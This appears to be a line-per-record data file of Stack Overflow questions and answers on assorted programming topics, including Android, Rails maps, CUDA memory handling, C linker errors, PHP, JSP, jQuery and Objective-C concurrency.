15351389	0	 <p>I don't think so. SMO supports SQL versions going back to before that syntax was supported. Aside from making smaller DML scripts, they have very little to gain by adding that functionality to SMO and it costs them maintainability in the code base.</p>
11517023	0	 <p>Recover the id and use in the second activity:</p> <pre><code>public void onItemClick(AdapterView&lt;?&gt; parent, View view, int position, long id) { String rowid = String.valueOf(id) Bundle bundle = new Bundle(); bundle.putString("ID", rowid); intent.putExtras(bundle); startActivity(intent); } </code></pre> <p>Retrieve in second activity using:</p> <pre><code>String rowid= getIntent().getExtras().getString("ID"); </code></pre> <p>Don't forget to convert the id from string back to long and add 1 after you retrieve it in your second activity</p>
26717074	0	gmaps4rails change map id <p>I have a Rails 3.2.x app which I'm using <code>gmaps4rails 2.0.0.pre</code> (yes I know it's an old version). I'm using this to plot different vehicles (units) on a map in a gps view/controller. Now I'm trying to leverage <code>gmaps4rails</code> to display a map in a different view/controller to display a building (facility) location in the facility show view.</p> <p>On initial page load I display the facility's marker on a map in the proper location. However after a few moments the marker will disappear entirely. I know why this is happening but not how to fix it.</p> <p>I have the following <code>Coffeescript</code> which looks for an <code>ID</code> of <code>#map</code> and calls <code>/units</code> and <code>/gps</code> paths to update the GPS view/map in quasi-realtime.</p> <p><strong>gps.js.coffee</strong></p> <pre><code>$ -&gt; if $("#map").length &gt; 0 setInterval (-&gt; $.getScript "/units" # Get all current locations, find each marker in the map, and update it's position $.getJSON "/gps", (data) -&gt; $.each(data, (i, val) -&gt; marker = $.grep Gmaps.map.markers, (e) -&gt; e.id is val.id marker[0].setPosition(val.lat, val.lng) if marker[0]? ) ), 5000 $('.marker-link').on 'click', -&gt; id = $(this).data("marker-id") marker = $.grep Gmaps.map.markers, (e) -&gt; e.id is id marker[0].showInfowindow() if marker[0]? </code></pre> <p>So the problem is that the default <code>ID</code> for gmaps4rails maps is <code>#map</code>. I'm trying to figure out how to create a new map using the plugin with a different <code>ID</code> so that I can display a facility location and not call the coffeescript to refresh.</p> <p>Here's what my facility model/view/controller look like. Everything works but the marker disappears due to the coffee script calling <code>#map</code>. I don't want to lose this coffeescript functionality as it updates my gps show view with markers properly. I'd like to figure out a way to generate a gmaps4rails map and change the <code>ID</code>.</p> <p><strong>facility.rb</strong></p> <pre><code> acts_as_gmappable process_geocoding: false </code></pre> <p><strong>facilities_controller</strong></p> <pre><code>def show @facility = Facility.find(params[:id]) @marker = @facility.to_gmaps4rails do |facility, marker| #marker.infowindow render_to_string(partial: "unit_infowindow", locals: {unit: unit}) marker.json({id: facility.id}) end respond_to do |format| format.html # index.html.erb format.json { render json: @marker } end end </code></pre> <p><strong>facility show.html.erb</strong></p> <pre><code>&lt;div class="well"&gt; &lt;%= gmaps(markers: {data: @marker, options: {rich_marker: true, "auto_zoom" =&gt; false}}) %&gt; &lt;/div&gt; </code></pre> <p>Is there a way to generate a gmaps4rails map, and override the default <code>ID</code> of <code>#map</code> so I can keep the marker from disappearing and continue to use my coffeescript in my GPS view?</p> <p>If anyone has any suggestions, please let me know. I would greatly appreciate it.</p> <p>And if my question is confusing or needs more explanation, I will be happy to update it.</p>
24754437	0	 <p>First thing is: you don't need to afraid cache's loose between requests - it's rather information that you shouldn't use it as a <em>regular</em> persistence layer.</p> <p>For main question: most probably <a href="http://playframework.com/documentation/2.3.x/ScalaSessionFlash" rel="nofollow"><strong>Flash</strong> scope</a> will be more suitable solution for this task. </p> <p>Remember that cache values will be available for other users, so if some user will perform similar action in the almost the same time (60 seconds) it will get value from others action - Flash as it's stored in the cookie will be individual.</p> <p>If you want to stay with cache - (i.e. in case that you want to store objects much bigger than 4kb) at least make sure that the cache <strong>keys</strong> contains some user specific, unique elements, like:</p> <pre><code>Cache.set("userData"+currentUser.id, userData, 60) </code></pre>
29388384	0	How to fire a keyboard shortcut function in JavaScript? <p>I have a record functionality in my website. If a user hits <kbd>Ctrl</kbd>+<kbd>Alt</kbd>+<kbd>R</kbd> the recording will begin. Now I would like a button named <code>RECORD</code> in my html page, so that when a user hits that button recording will start.</p> <pre><code>&lt;button type="submit" class="btn btn-primary" data-toggle="tooltip" data-placement="top" onclick="record_session()" title="Start Recording"&gt;Record&lt;/button&gt; </code></pre> <p>in my function below</p> <pre><code>function record_session(){ //how can i trigger or initiate ctrl+alt+r here?? } </code></pre>
25570856	0	 <p>This line is not necessary and should be removed from your code:</p> <pre><code>gpuErrchk( cudaMalloc((void**)&amp;dev_inp, sizeof(unsigned char)*flipped.rows*flipped.cols) ); </code></pre> <p>This line creates a device allocation, and assigns the pointer for that allocation to <code>dev_inp</code>.</p> <p>The problem arises here:</p> <pre><code>gpuErrchk( cudaGraphicsResourceGetMappedPointer((void **)&amp;dev_inp, &amp;size, cuda_resource) ); </code></pre> <p>This line acquires a <em>new</em> pointer, derived from the <code>cuda_resource</code> object, to another, different allocation, and places that pointer into <code>dev_inp</code>, <strong>overwriting</strong> your previously allocated pointer (from <code>cudaMalloc</code>). The new pointer acquired in this line already has an underlying device allocation. You do not need to allocate for it separately/additionally at this point.</p> <p>At this point, if you try to free <code>dev_inp</code>:</p> <pre><code>gpuErrchk(cudaFree(dev_inp)); // &lt;--- Error here </code></pre> <p>You are attempting to free data that your program did not explicitly allocate (via <code>cudaMalloc</code>), and is furthermore a necessary component of the persistent (at this point) <code>cuda_resource</code> object. You don't want to do that. Unfortunately, the original pointer that was placed in <code>dev_inp</code> is now lost (overwritten), and so there is no way to "free" it in your program, and you will have a memory leak, as long as the program is executing.</p> <p>The solution is not to perform the extra, unneeded allocation:</p> <pre><code>gpuErrchk( cudaMalloc((void**)&amp;dev_inp, sizeof(unsigned char)*flipped.rows*flipped.cols) ); </code></pre> <p>This then means that the corresponding <code>cudaFree</code> operation should be eliminated as well:</p> <pre><code>gpuErrchk(cudaFree(dev_inp)); // &lt;--- Error here </code></pre> <p>I would not use <code>cudaDeviceReset</code> anywhere in a CUDA code, especially a CUDA/OpenGL code, until the program is actually exiting. There are a few other very specialized situations where you might want to use <code>cudaDeviceReset</code> before the point at which you actually intended to exit your program, but they don't apply here.</p>
24414708	0	clang: error: linker command failed with exit code 1 with duplicate symbol _TableLookup in database.o and main.o <p>After changing the code, I got new error in database_definitions.h header file. The error is near the 'extern const Lookup_Table TableLookup[TABLE_COUNT];' and mentioned the error in the code with comments next to it. I also got warning in 'database.c' file near the return &amp;(TableLookup[index]); in the 'Lookup_Table* GetTableMetadata(char *tableName)' function. The error is pasted in the code next to it. Kindly review and help me in solving in this issue.</p> <pre><code>**database.c**: const Lookup_Table TableLookup[TABLE_COUNT]= { { .tableName = "Folder_Table", // .tableInitializer = (void*)&amp;InitFolder_Table, .tableMemory = sizeof(Folder_Table), .columns = 5, .columnNames = {"folderID","field1","field2","field3","field4"}, // Fill out field name metadata .columnSize = {SIZE_OF(Folder_Table,folderID), SIZE_OF(Folder_Table,field1), SIZE_OF(Folder_Table,field2), SIZE_OF(Folder_Table,field3), SIZE_OF(Folder_Table,field4)}, .columnType = {TYPE_INT, TYPE_FLOAT, TYPE_INT, TYPE_FLOAT, TYPE_TEXT}, .subTable = {{.tableName = "Item_Table", .pointerOffset = offsetof(Folder_Table,item)}, {.tableName = "nextRow", .pointerOffset = offsetof(Folder_Table, nextRow)}, {.tableName = "lastRow", .pointerOffset = offsetof(Folder_Table, lastRow)}, {.tableName = "\0", .pointerOffset = 0 }}, }, { .tableName = "Item_Table", // .tableInitializer = (void*)&amp;InitItem_Table, .tableMemory = sizeof(Item_Table), .columns = 4, .columnNames = {"ItemID\0","FolderID\0","field1\0","field2\0"}, .columnSize = {SIZE_OF(Item_Table,itemID), SIZE_OF(Item_Table,folderID), SIZE_OF(Item_Table,field1), SIZE_OF(Item_Table,field2)}, .columnType = {TYPE_INT, TYPE_INT, TYPE_TEXT, TYPE_FLOAT}, .subTable = {{.tableName = "nextRow", .pointerOffset = offsetof(Item_Table, nextRow)}, {.tableName = "lastRow", .pointerOffset = offsetof(Item_Table, lastRow)}, {.tableName = "\0", .pointerOffset = 0}}, } }; //==================================================================================== // Struct Table Initializer and metadata functions //==================================================================================== //------------------------------------------------------------------------------------ // Find the memory size of a table specified by name //------------------------------------------------------------------------------------ int GetTableSize(char *tableName) { int index; //// Find function matching function name string for (index=0 ; index &lt; TABLE_COUNT; index++) { if (strcmp(TableLookup[index].tableName, tableName)) { return(TableLookup[index].tableMemory); } } return 1; // Return error, should this be an exception? } //------------------------------------------------------------------------------------ // Return the index of of the table from the table-lookuptable //------------------------------------------------------------------------------------ Lookup_Table* GetTableMetadata(char *tableName) { //// Find function matching function name string for (int index=0; index &lt; TABLE_COUNT; index++) { if (strcmp(TableLookup[index].tableName, tableName)) { `return &amp;(TableLookup[index]);//error: 'Returning 'const Lookup_Table*(aka 'const structLookup_Table') from a function with result type 'Lookup_Table'(aka 'struct Lookup_Table") discards qualifiers`' } } return 0; // Return error } **database.h**: #ifndef database_h #define database_h #include "database_definitions.h" #define ONE_ROW 1 //==================================================================================== // Function Definitions //==================================================================================== int SQLOpen(void); //isc_db_handle SQLGetDatabase(void); Lookup_Table* GetTableMetadata(char *tableName); Sub_Table* GetSubTableMetadata(char *tableName, char *subTableName); #endif **database_definitions.h**: #ifndef database_database_h #define database_database_h extern const Lookup_Table TableLookup [TABLE_COUNT]; //error:unknown type name 'Lookup_Table' //==================================================================================== // SQL Table Metadata Structures //==================================================================================== typedef struct Folder_Table // Table type name gets "_Table" added to the SQLite name { //// Fields // Comments are added to seperate the fields, Relationships, and metadata int folderID; // Fields are added as elements of the type and length listed in SQLite float field1; int field2; float field3; char field4[40]; // string length '40' is queried from SQLite settings for field //// Relationships struct Item_Table *item; // Pointer to the sub-table struct Folder_Table *nextRow; // Linked List Pointer to the next-row struct Folder_Table *lastRow; // Linked List Pointer to the last-row } Folder_Table; typedef struct Item_Table { //// Fields int itemID; int folderID; char field1[32]; float field2; //// Relationships Folder_Table *folder; struct Item_Table *nextRow; struct Item_Table *lastRow; } Item_Table; typedef struct Sub_Table { char tableName [TABLE_NAME_LENGTH]; // Sub-table name int pointerOffset; // Sub-table pointer memory offset in the struct }Sub_Table; typedef struct Lookup_Table { char tableName [TABLE_NAME_LENGTH]; // Stores table name void (*tableInitializer)(void *); // Pointer to the initializer function int tableMemory; // Size of the table memory instance int columns; // Number of columns in the table char columnNames[MAX_COLUMNS][COLUMN_NAME_LENGTH]; // Array of column names int columnSize [MAX_COLUMNS]; // Array of column variable memory sizes int columnType [MAX_COLUMNS]; // Array of column variable types Sub_Table subTable [MAX_SUB_TABLES]; // Stores sub-table pointers }Lookup_Table; #endif **main.c**: #include &lt;stdio.h&gt; #include "database.h" int main(int argc, const char * argv[]) { // SQLOpen(); return 0; } </code></pre>
6490672	0	 <p>See</p> <p><code>$_SERVER['HTTP_HOST']</code></p> <p>More verbose <a href="http://php.net/manual/en/reserved.variables.server.php" rel="nofollow">http://php.net/manual/en/reserved.variables.server.php</a></p>
6140793	0	I have a syntax error in my PHP script? <p>I am working on a project were I need to turn text in a table cell into a dynamic link and I am getting an error when escaping to HTML.</p> <p>Here are the line of code I am trying to turn into a link. It works perfect before I try to make it a link.</p> <pre><code>echo "&lt;td&gt;&lt;a&gt;" . (isset($resultSetArray[$x]["assessment"]["owner1"]) ? ucwords(strtolower($resultSetArray[$x]["assessment"]["owner1"])) : '') . "&lt;/a&gt;&lt;/td&gt;"; </code></pre> <p>It returns a name from the database. I need this name to be a link to another page, with the name in the URL.</p> <p>Here is what I tried without success. Where am I going wrong?</p> <pre><code>echo "&lt;td&gt;" . "&lt;a href=\"http://Company.com/secure/IndSearch?owner=" (isset($resultSetArray[$x]["assessment"]["owner1"]) ? ucwords(strtolower($resultSetArray[$x]["assessment"]["owner1"])) : '')"/" (isset($resultSetArray[$x]["assessment"]["owner1"]) ? ucwords(strtolower($resultSetArray[$x]["assessment"]["owner1"])) : '') . "&lt;/a&gt;&lt;/td&gt;"; </code></pre>
21699730	0	how to run a java rmi program in the property of a jsp button <pre><code> &lt;%@ page language="java" contentType="text/html; charset=ISO-8859-1" pageEncoding="ISO-8859-1"%&gt; &lt;%@page import="com.studytrails.tutorials.springremotingrmiclient.TestSpringRemotingRmi" %&gt; &lt;!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"&gt; &lt;html&gt; &lt;head&gt; &lt;meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"&gt; &lt;title&gt;Insert title here&lt;/title&gt; &lt;/head&gt; &lt;body bgcolor="red"&gt; &lt;h1&gt;&lt;font color=blue&gt;login successfull&lt;/font&gt;&lt;/h1&gt; &lt;h2&gt;&lt;font color="lightgreen"&gt; &lt;form action="${pageContext.request.contextPath}/MyServlet" method="post"&gt; &lt;input type=submit name="n1" value="Click here to play the video"&gt; &lt;/form&gt; &lt;/h2&gt; &lt;/body&gt; &lt;/html&gt; Need to run the below program when clicking the button in jsp file. package com.studytrails.tutorials.springremotingrmiclient; import java.io.*; import java.io.File.*; import java.net.Socket; import java.net.UnknownHostException; import org.springframework.context.ApplicationContext; import org.springframework.context.support.ClassPathXmlApplicationContext; import org.springframework.core.io.Resource; import com.studytrails.tutorials.springremotingrmiserver.*; public class TestSpringRemotingRmi { public static void main(String[] args) throws IOException { ApplicationContext context = new ClassPathXmlApplicationContext("spring-config-client.xml"); GreetingService greetingService = (GreetingService)context.getBean("greetingService"); String greetingMessage = greetingService.getGreeting("Alpha"); System.out.println("The greeting message is : " + greetingMessage); greetingService.getText(); } } </code></pre> <p>In above program I am trying to run java <code>TestSpringRemotingRmi</code> class in the time of button click performed in jsp file. MyServlet file contains the code for process the request from jsp file. but I try to call the default constructor of that call using jsp but it does not work. guide me to solve this problem. </p>
39801975	0	 <p>One data.table way of indexing a column by number would be to convert to a column name , convert to an R symbol, and evaluate:</p> <pre><code>mydata[ , eval( as.symbol( names(mydata)[1] ) )] [1] "ID123" "ID22" "AAA" &gt; grep("^ID", mydata[,eval(as.symbol(names(mydata)[1]))]) [1] 1 2 </code></pre> <p>But this is not really an approved path to success because of the DT FAQ #1 as well as the fact that row numbers are not considered as valid targets. The philosophy (as I understand it) is that row numbers are accidental and you should be storing your records with unique identifiers.</p>
33453542	0	 <p>If you are using AppCompatActivity then you can directly do the following in your main/parent activity.</p> <blockquote> <p><code>int FEATURE_ACTION_BAR_OVERLAY</code> : Flag for requesting an Action Bar that overlays window content.</p> </blockquote> <pre><code>@Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); supportRequestWindowFeature(Window.FEATURE_ACTION_BAR_OVERLAY); setContentView(yourview) } </code></pre> <p>And make sure you do not set any background for the action bar.<br> Using <code>supportRequestWindowFeature</code> is a convenience for calling <code>getWindow().requestFeature().</code></p>
3896276	0	 <p>Mads, that did just the trick! Thank you so much, I knew there was a very simple solution that I just wasn't seeing. Here is the magical line that converts an XML string to JSON: </p> <pre><code>String ret = XML.toJSONObject(aStringOfXml).toString(); </code></pre>
35936122	0	Detect visibility of the fragment inside a navigation drawer <p>I have a fragment in the SDK that the wrapper application may display in the navigation drawer. I want to detect when this fragment will be visible to the user, for tracking purposes, from the Fragment itself. Is there any way to do it ?</p>
39870690	0	how can i get Get date text .Not able to get any text on the whole page.Attached Image <pre><code>List&lt;WebElement&gt; getAllTextOnPage = driver.findElements(By.id("com.condecosoftware.deskbooking:id/action_bar_root")); </code></pre> <p><a href="https://i.stack.imgur.com/yF9vE.png" rel="nofollow"><img src="https://i.stack.imgur.com/yF9vE.png" alt="enter image description here"></a></p>
13516738	0	 <p>I had the same problem : primefaces (or richfaces) offers rowspan only for header and footer.</p> <p>Then I tried to use the icefaces <code>ace:datatable</code> component and it run by adding only one attribute in the colum(s) you want to be "rowspanable" : <code>ace:column</code> : <code>groupBy="#{bean.field}"</code>.</p> <p>You give as usual a list of rows and this component generates all rowspan automatically (I think by autodetecting neigbourhood of equals values) in the generated html table.</p> <p>It runs altogether with primefaces components : at this moment I have primefaces outputlabel in the icefaces datatable cells ant this icefaces datatable is inside a primefaces panel.</p>
21857708	0	 <p>div ids==>opened,phone1 each has a flip ep</p> <pre><code>&lt;div class="w" id="opened"&gt;BEGIN&lt;div class="ep"&gt;&lt;/div&gt;&lt;/div&gt; &lt;div class="w" id="phone1"&gt;PHONE INTERVIEW 1&lt;div class="ep"&gt;&lt;/div&gt;&lt;/div&gt; </code></pre> <p>eg:<a href="http://jsplumbtoolkit.com/demo/dynamicAnchors/jquery.html" rel="nofollow">http://jsplumbtoolkit.com/demo/dynamicAnchors/jquery.html</a> how to make <code>instance.connect({ source:tmp_source, target:tmp_target });</code> run in a for block.</p> <p>eg:</p> <pre><code>for(){ var tmp_source="opened"; var tmp_target="phone1"; instance.connect({ source:tmp_source, target:tmp_target });// this line not run } </code></pre>
1912183	0	 <p>I recently joined this company and i see they are using UniObjects.Net dll for interacting with this Data base Check it out its from IBM not sure about the performance though</p>
10323899	0	Recording user action to an array with Jquery <p>I am trying to make a simple user click action recorder in jquery but am having some trouble. I want the user to click a record button then once clicked record what he clicks on. Then press stop button to stop recording. What I have so far is:</p> <pre><code>var stack = new Array(); var recordmode = false; $('#record').click(function(){ recordmode = true; alert('You are now in record mode'); }); $('#stop').click(function(){ recordmode = false; console.log(stack);//output what's in the array stack = []; //erase the array }); $('#note_markers').click(function(){ if(recordmode){ $('.one_0').click( function(){ stack.push('one_0'); }) $('.one_1').click( function(){ stack.push('one_1') ; }) } }); </code></pre> <p>and later the start and stop buttons.</p> <pre><code>&lt;a id='record'&gt;R&lt;/a&gt; &lt;a id='stop'&gt;stop&lt;/a&gt; &lt;div id="one_notes"&gt; &lt;a class="one_0"&gt;&lt;/a&gt; &lt;a class="one_1"&gt;&lt;/a&gt; &lt;a class="one_2"&gt;&lt;/a&gt; &lt;a class="one_3"&gt;&lt;/a&gt; &lt;/div&gt; </code></pre> <p>Also before stopping and erasing the array..I would like to build a URL in the form of /one_0/one_1/one_0 etc with what was in recorded in the array. (haven't got to that part yet though)</p> <p>What happens is the first click is not recorded and after that it starts putting in two of the same element. I can't figure out why I am getting the current behavior. </p> <p>Any ideas?</p> <p>As a side note is there a way to get the name of ANY clicked element?</p>
17490647	0	 <p>Why not simple:</p> <pre><code>.a { color: red; } .b { color: blue; } .c { color: yellow; } </code></pre> <p>The difference between those two is that first one covers all six types:</p> <pre><code>.one .a, .one .b, .one .c, .two .a, .two .b, .two .c </code></pre> <p>While the second one only covers 4:</p> <pre><code>.one .a, .one .b, .two .a, .two .c </code></pre> <p>With respect to your markup - no difference at all, except that the very first case (without <code>.one</code> and <code>.two</code>) will be sliiiiiightly faster.</p> <p>Also, see <a href="http://www.css-101.org/descendant-selector/go_fetch_yourself.php">this</a>.</p>
14955957	0	Angular js - data integrated in app Controller without external json . how to render data <p>how can i tell angular to inject the data from scope.shits into ShitDetail Controller?</p> <pre><code>function ShitCtrl($scope) { $scope.shits = [ { "id": "goMedus", "name": "goMedus", "snippet": "Fast just got faster with Nexus S.", "copy": "hallo" }, </code></pre> <p>and here is the data injecton in the tutorial done via json. i would like to get oscar mike without because i have troubles in connecting to external json with grails urlMappings, so i would like to do this later on. any help appreciated</p> <pre><code>function ShitDetailCtrl($scope, $routeParams) { $scope.shitId = $routeParams.shitId; } </code></pre> <p>my view looks like so:</p> <pre><code>TBD: detail view for {{shitId}} and {{shitName}} </code></pre> <p>shitId gets rendered and shitName not.</p>
30963247	0	 <p>You want to know the difference in these lines:</p> <pre><code>Base obj1 = new Derived(); Derived obj2 = new Derived(); </code></pre> <p>In both the cases the object constructed is of class <code>Derived</code>but references are different. You are able to use reference of type <code>Base</code> because <code>Derived</code> is also <code>Base</code> (assuming <code>Derived</code> extends <code>Base</code>) hence can be used. But which one should we prefer? The former one because it makes robust design.</p> <p>Consider the Collections Framework in Java which has a <code>List</code> interface and two implementations: <code>ArrayList</code> and <code>LinkedList</code>. We can write our program to use a <code>LinkedList</code> or an <code>ArrayList</code> specifically. But then our code depends on those specific implementations. So we should write our program to depend on the super type, <code>List</code>, instead then our program can work for either of the <code>List</code> implementations. </p> <p>In short this is one rule of OOP design: <code>Program to an interface</code>.</p>
19171799	0	 <p>I have the same exact issue with Safari 6.1, getting <code>MEDIA_ERR_SRC_NOT_SUPPORTED</code> when trying to load a file from an input, like so:</p> <pre class="lang-js prettyprint-override"><code>var fileInput = document.querySelector('#file'), video = document.querySelector('video'); fileInput.addEventListener('change', function(evt){ evt.preventDefault(); var file = evt.target.files[0]; var url = window.URL.createObjectURL(file); video.src = url; video.addEventListener('error', function(err){ // This craps out in Safari 6 console.error(video.error, err); alert('nay :('); }); }); </code></pre> <p><strike>Try <code>video.addEventListener('error', logError)</code> or something to figure out if you have the same issue. I suspect Safari doesn't support yet videos with <code>blob</code>-type source.</strike></p> <p><strong>UPDATE</strong>: Yup, it's a bug. See <a href="https://bugs.webkit.org/show_bug.cgi?id=101671" rel="nofollow">https://bugs.webkit.org/show_bug.cgi?id=101671</a> and help us let the webkit maintainers this is something that needs to be fixed.</p> <p><strong>UPDATE, 2015</strong>: It works now, updated the code.</p>
18448447	0	 <p>I've found a solution to my problem. Here again (in short) what I tried to accomplish.</p> <p>Task build an <code>NSMutableArray</code> which will act as the dataSource object for a <code>UITableView</code> each entry includes core data fetch and processing operations parallelise work and add results on completion, make sure access to the <code>NSMutableArray</code> is regulated start working with the dataSource object on completion</p> <p>Problems the number of entries in the dataSource object can vary</p> <p>Here's was worked for me. The category on 'NSMutableArray' is a convenience method to make sure the access is serialized. With that implementation you have parallelised the work as much as possible and you can savely write </p> <p>[self prepareDataSource]; [self.tableView reloadData];</p> <p>without worrying that some work is still in progress.</p> <pre class="lang-c prettyprint-override"><code>dispatch_queue_t queue = dispatch_queue_create("com.yourdomain.serializedAccess", DISPATCH_QUEUE_CONCURRENT); - (void)prepareDataSource { [self.dataSource removeAllObjects]; dispatch_group_t group = dispatch_group_create(); [self prepareWorkEntry1FromManagedObjectContext:self.privateContext forDataSource:self.dataSource group:group]; [self prepareWorkEntry2FromManagedObjectContext:self.privateContext forDataSource:self.dataSource group:group]; [self prepareWorkEntry3FromManagedObjectContext:self.privateContext forDataSource:self.dataSource group:group]; dispatch_group_wait(group, DISPATCH_TIME_FOREVER); } - (void)prepareWorkEntry1FromManagedObjectContext:(NSManagedObjectContext *)context forDataSource:(NSMutableArray *)array group:(dispatch_group_t)group { __weak typeof(self) weakSelf = self; dispatch_group_enter(group); [context performBlock:^{ Object *object = nil; createObject(object); if (object) { [array serializedAddObject:object withQueue:weakSelf.queue group:group]; } else { dispatch_group_leave(group); } }]; } @implementation NSMutableArray (ResourceProtection) - (void)serializedAddObject:(id)object withQueue:(dispatch_queue_t)queue group:(dispatch_group_t)group { if (group == NULL) { dispatch_barrier_async(queue, ^{ [self addObject:object]; }); } else { dispatch_barrier_async(queue, ^{ [self addObject:object]; dispatch_group_leave(group); }); } } @end </code></pre> <p>EDIT: As far as the ResourceProtection category is concerned you have to make sure</p> <ol> <li>dispatch_group_enter is called before dispatch_group_leave</li> <li>dispatch_group_enter and dispatch_group_leave are balanced</li> </ol> <p>Here it is an observed, synchronized writer scheme for a mutable object.</p>
5279815	0	Eclipse CDT Headless Build Question <p>Using Eclipse CDT 7.0, is there a way to specifiy to build just a single build configuration on the commandline when doing a headless build?</p>
7777145	0	 <p>LDAP-compliant directory servers should provide information about the <code>namingContexts</code> when the root DSE is queried. For more information about the root DSE, see "<a href="http://www.evernote.com/shard/s5/sh/e6bdc1cd-068d-4d63-93f1-a3275f7a703b/b5968790355e854a35ba36dc775144b9" rel="nofollow">LDAP: The root DSE</a>". The <a href="http://www.unboundid.com/products/ldap-sdk/" rel="nofollow">UnboundID LDAP SDK</a> provides a class to encapsulate the root DSE and a convenience method to retrieve it.</p>
33192074	0	Programming principles and practice (2nd) by Bjarne stroustrup - Chapter 3.3 , code isn't working <p>So i just started reading this book and copy pasted from the pdf file this code :</p> <pre><code>// read name and age (2nd version) int main() { cout &lt;&lt; "Please enter your first name and age\n"; string first_name = "???"; // string variable // ("???” means “don’t know the name”) int age = –1; // integer variable (–1 means “don’t know the age”) cin &gt;&gt; first_name &gt;&gt; age; // read a string followed by an integer cout &lt;&lt; "Hello, " &lt;&lt; first_name &lt;&lt; " (age " &lt;&lt; age &lt;&lt; ")\n"; } </code></pre> <p>The book says it should output</p> <pre><code>Hello, 22 (age –1) </code></pre> <p>if i input</p> <pre><code>22 Carlos </code></pre> <p>but i get this error</p> <pre><code>D:\C++\Part I The Basics\Programs\3.Read name and age (2nd).cpp|9|error: stray '\226' in program| </code></pre> <p>And the program isn't compiling.</p> <p>I realized that in the line below the "minus 1" isn't actually a "minus" "-" sign. .. " – " " - " It is bigger than the minus, see?</p> <pre><code>int age = –1 </code></pre> <p>So i changed that sign with a minus sign and typed 22 Carlos and it outputs Hello 22, 0 instead of Hello 22, -1.</p> <p>My questions are: </p> <p>Why is the program not working when i simply copy paste it from the pdf?</p> <p>Why it's not working even after i change the – sign with a minus "-" sign?</p>
9786118	0	 <p>The Reachability APIs will provide the connection change notifications to your app so that you can know when the connectivity changed from WWAN to wifi. It will not tell you if you've changed from Edge to 3G or LTE unfortunately. The Reachability API also has methods to test reachability to a specific host. So, in your app you can listen for the notifications that the connection method has changed, then when it does change test reachability to your target host and at that time make the decision whether to rebuild the session or leave it intact.</p>
17680150	0	 <p>You can use Object instant of StudentUnion. Object will accept all classes. </p> <pre><code>public class CommonComparator implements Comparator&lt;Object&gt; { public int compare(Object s1, Object s2){ .... return result // 1 or 0; } } </code></pre>
12521983	0	JS Validation if dropdown value selected or not <p>I am trying to write a validation block inside my JS to check if the user has selected a value or not and pop up a message if the value is not selected. </p> <pre><code>function validate(form) { var success = true; var message = ""; if (form.dropdown.selectedIndex == 0 ) { form.save.disabled=true; if (0 &lt; message.length) { message += "\n"; } message += "dropdown value should be selected."; } if (0 &lt; message.length) { alert(message); success = false; } return success; } </code></pre> <p>When I click on Save button I call this function. I don't see errors in the logs. Can anyone tell me what am I doing wrongly here? Or can you guide me what is the correct method to validate if the user has selected a value before allowing to save?</p> <p>Thanks!</p>
2999048	0	 <p>I would use php personally. Then you can save which page layout you chose for them as a session var making it easy to load that layout on each page refresh. You would probably also want to save into the database with their username (if they login) and if they visit later show them the same layout.</p>
20440321	0	 <p>First look at the exception<br> <em>java.lang.OutOfMemoryError: bitmap size exceeds VM budget</em><br> and most probably this is the line in your code <br> <em>at com.PACKAGE.MainActivity$MyListAdapter.getView(MainActivity.java:132)</em> (notice your package)</p> <p>You tried to load an image larger than your heap supported. The size in MB of the compressed file is of little importance, as any image will be expanded in memory as a bitmap. Thus only the pixel format and pixel count matters. In your case 2200x2048 might me to much.</p> <p>As possible solutions for the memory problem<br/></p> <ul> <li><strong>Use a lower resolution image, or manually load the image using BitmapFactory where you have the option to downsample</strong><br/></li> <li><strong>Use <em>android:largeHeap="true"</em> in manifest might help.</strong> Not good practice, if can be avoided.</li> </ul> <p>The ANR comes because you do a lot of work (loading large image) on the UI thread. Lower resolution image might help also to this problem, but you should consider loading the images in a worker thread<br> <a href="http://developer.android.com/guide/components/processes-and-threads.html" rel="nofollow">http://developer.android.com/guide/components/processes-and-threads.html</a>, <strong>Worker threads</strong></p>
15530180	0	 <p>Ajax code to call the add_driver.php </p> <pre><code>if (window.XMLHttpRequest) {// code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp=new XMLHttpRequest(); } else {// code for IE6, IE5 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 &amp;&amp; xmlhttp.status==200) { //here you can put some code to execute if the call to add_driver.php was ok } } xmlhttp.open("GET","add_driver.php",true); xmlhttp.send(); } </code></pre>
26048323	0	Code not executed in TFrame.Create <p>I have created a component with TFrame as ancestor with the following code:</p> <pre><code>type TCHAdvFrame = class(TFrame) private { Private declarations } FOnShow : TNotifyEvent; FOnCreate : TNotifyEvent; protected procedure CMShowingChanged(var M: TMessage); message CM_SHOWINGCHANGED; public { Public declarations } constructor Create(AOwner: TComponent) ; override; published property OnShow : TNotifyEvent read FOnShow write FOnShow; property OnCreate : TNotifyEvent read FOnCreate write FOnCreate; end; implementation {$R *.dfm} { TCHAdvFrame } procedure TCHAdvFrame.CMShowingChanged(var M: TMessage); begin inherited; if Assigned(OnShow) then begin ShowMessage('onShow'); OnShow(self); end; end; constructor TCHAdvFrame.Create(AOwner: TComponent); begin ShowMessage('OnCreate1'); inherited ; ShowMessage('OnCreate2'); if Assigned(OnCreate) then begin ShowMessage('OnCreate3'); OnCreate(self); end; </code></pre> <p>I have registered the new component and did some tests. ShowMessage('OnCreate1'); and ShowMessage('OnCreate2'); are correctly executed <strong>but not ShowMessage('OnCreate3');</strong></p> <p>This prevents to add code during the implementation of a new instance of TCHAdvFrame.</p> <p>Why is it and how can I solve this ? </p>
32504044	0	 <p>You can use for loop like this, </p> <pre><code>for(i=1;i&lt;=num;i++){ txtView.append(word+"\n"); } </code></pre>
1998303	0	 <pre><code>$randomPool = array_rand ( $butters-&gt;users-&gt;user, 10 ); </code></pre>
23489606	0	 <p>If you want <code>Monster1</code> image to come from the array <code>kanaCharacters</code> with the index number from <code>imageDisplay</code> wouldn't you do this?</p> <pre><code>NSArray *array = [NSArray arrayWithObjects:@"a",@"b",@"c", nil]; //Setup array int imageDisplay = arc4random_uniform([array count]); //Find random int from array count UIImageView *monster1 = [[UIImageView alloc] initWithFrame:CGRectMake(10, 10, 100, 50)]; //Setup UIImageView monster1.image = [UIImage imageNamed:array[imageDisplay]]; //Display image which is randomly selected from array [self.view addSubview:monster1]; //Add image to view </code></pre>
